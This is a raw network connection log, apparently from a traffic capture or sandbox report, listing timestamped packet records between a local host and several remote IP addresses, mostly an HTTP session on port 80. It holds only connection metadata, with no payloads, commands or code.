Nov 28, 2024 15:17:39.678129911 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:39.692280054 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.692369938 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.692425966 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.692468882 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.695333958 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.695430994 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.695446968 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.695487976 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.701623917 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.701684952 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.701710939 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.701757908 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.707823992 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.707906008 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.707931995 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.707978964 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.714029074 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.714066029 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.714082956 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.714111090 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.720223904 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.720290899 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.720402956 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.720451117 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.724837065 CET	49821	443	192.168.2.6	142.250.181.65
Nov 28, 2024 15:17:39.724844933 CET	443	49821	142.250.181.65	192.168.2.6
Nov 28, 2024 15:17:39.724873066 CET	443	49828	162.159.61.3	192.168.2.6
Nov 28, 2024 15:17:39.724950075 CET	443	49828	162.159.61.3	192.168.2.6
Nov 28, 2024 15:17:39.725008011 CET	49828	443	192.168.2.6	162.159.61.3
Nov 28, 2024 15:17:39.725116014 CET	49828	443	192.168.2.6	162.159.61.3
Nov 28, 2024 15:17:39.725130081 CET	443	49828	162.159.61.3	192.168.2.6
Nov 28, 2024 15:17:39.726448059 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.726502895 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.726660013 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.726860046 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.732623100 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.732685089 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.732719898 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.732836962 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.738845110 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.738902092 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.738943100 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.738986969 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.745580912 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.745635986 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.745733976 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.745795012 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.749511957 CET	443	49829	172.64.41.3	192.168.2.6
Nov 28, 2024 15:17:39.749574900 CET	443	49829	172.64.41.3	192.168.2.6
Nov 28, 2024 15:17:39.749675035 CET	49829	443	192.168.2.6	172.64.41.3
Nov 28, 2024 15:17:39.749725103 CET	49829	443	192.168.2.6	172.64.41.3
Nov 28, 2024 15:17:39.749737978 CET	443	49829	172.64.41.3	192.168.2.6
Nov 28, 2024 15:17:39.751262903 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.751332045 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.751384020 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.751462936 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.757539034 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.757690907 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.757715940 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.757797956 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.763686895 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.763760090 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.763780117 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.763798952 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.769926071 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.769980907 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.770013094 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.770092010 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.776113987 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.776181936 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.776218891 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.776288033 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.782371044 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.782412052 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.782463074 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.788515091 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.788633108 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.788682938 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.794774055 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.794791937 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.794828892 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.794842958 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.801059008 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.801071882 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.801107883 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.801150084 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.807149887 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.807207108 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.807246923 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.807290077 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.813287973 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.813335896 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.813359976 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.813381910 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.819544077 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.819602966 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.819670916 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.819732904 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.825711966 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.825768948 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.829922915 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:39.833225012 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:39.833293915 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:39.833313942 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:39.839387894 CET	49821	443	192.168.2.6	142.250.181.65
Nov 28, 2024 15:17:39.841459990 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:39.841484070 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:39.841697931 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:39.841708899 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:39.844661951 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:39.844681978 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:39.893435001 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.893486023 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.893495083 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.893529892 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.894977093 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.895032883 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.895075083 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.895126104 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.899776936 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.899837017 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.899877071 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.899980068 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.904616117 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.904673100 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.904726028 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.905080080 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.909501076 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.909570932 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.909598112 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.909776926 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.914225101 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.914282084 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.914359093 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.914403915 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.918764114 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.918834925 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.918863058 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.918915987 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.923147917 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.923201084 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.923284054 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.923481941 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.927802086 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.927859068 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.927879095 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.927927971 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.931821108 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.931943893 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.931963921 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.931998968 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.933362007 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:39.936094046 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.936176062 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.936270952 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.936319113 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.936348915 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:39.936410904 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:39.940084934 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.940136909 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.940148115 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.940180063 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.944224119 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.944283009 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.944303036 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.944328070 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.948115110 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.948204041 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.948225021 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.948281050 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.951997995 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.952058077 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.952111006 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.952214956 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.955903053 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.955962896 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.956005096 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.956048012 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.958127022 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.958148956 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.958197117 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.960254908 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.960298061 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.960310936 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.960347891 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.962480068 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.962536097 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.962654114 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.962702990 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.964627028 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.964670897 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.964713097 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.964751005 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.966809034 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.966864109 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.966919899 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.967123032 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.968967915 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.969022989 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.969077110 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.969165087 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.971210003 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.971280098 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.971291065 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.971385002 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.973342896 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.973412991 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.973444939 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.973592043 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.975538969 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.975608110 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.975693941 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.975749969 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.977691889 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.977751017 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.977826118 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.977878094 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.979888916 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.979962111 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.979993105 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.980195045 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.982101917 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.982141018 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.982173920 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.982211113 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.984246016 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.984354973 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.984409094 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.986440897 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.986494064 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.986579895 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.986623049 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.988605022 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.988662004 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.988713980 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.990767002 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.990829945 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.990878105 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.991076946 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.992979050 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.993072033 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.993083954 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.993118048 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.995176077 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.995234966 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.995271921 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.995359898 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.997360945 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.997411013 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.997472048 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.997519970 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.013516903 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.013582945 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.031148911 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:40.035592079 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:40.035667896 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:40.094594955 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.094657898 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.094703913 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.094747066 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.095621109 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.095668077 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.096052885 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.096111059 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.096149921 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.096260071 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.098205090 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.098249912 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.098315001 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.098356009 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.100363970 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.100465059 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.100543022 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.100543022 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.102458954 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.102515936 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.102554083 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.102601051 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.104549885 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.104598045 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.104635000 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.104676962 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.106494904 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.106542110 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.106679916 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.106770992 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.108484030 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.108582973 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.108634949 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.110407114 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.110444069 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.110518932 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.112270117 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.112343073 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.112380028 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.112574100 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.114156961 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.114208937 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.114226103 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.114252090 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.115993023 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.116209030 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.116283894 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.117786884 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.117836952 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.117901087 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.117939949 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.119585037 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.119662046 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.119674921 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.119920969 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.121316910 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.121381044 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.121449947 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.121586084 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.123060942 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.123219967 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.123286009 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.124871016 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.124960899 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.125000954 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.125051022 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.126444101 CET	49848	443	192.168.2.6	162.159.61.3
Nov 28, 2024 15:17:40.126471996 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.126478910 CET	443	49848	162.159.61.3	192.168.2.6
Nov 28, 2024 15:17:40.126552105 CET	49848	443	192.168.2.6	162.159.61.3
Nov 28, 2024 15:17:40.126555920 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.126591921 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.126801968 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.127008915 CET	49849	443	192.168.2.6	162.159.61.3
Nov 28, 2024 15:17:40.127054930 CET	443	49849	162.159.61.3	192.168.2.6
Nov 28, 2024 15:17:40.127187967 CET	49849	443	192.168.2.6	162.159.61.3
Nov 28, 2024 15:17:40.127322912 CET	49848	443	192.168.2.6	162.159.61.3
Nov 28, 2024 15:17:40.127337933 CET	443	49848	162.159.61.3	192.168.2.6
Nov 28, 2024 15:17:40.127429962 CET	49849	443	192.168.2.6	162.159.61.3
Nov 28, 2024 15:17:40.127443075 CET	443	49849	162.159.61.3	192.168.2.6
Nov 28, 2024 15:17:40.128196001 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.128242016 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.128257990 CET	49804	80	192.168.2.6	185.215.113.206
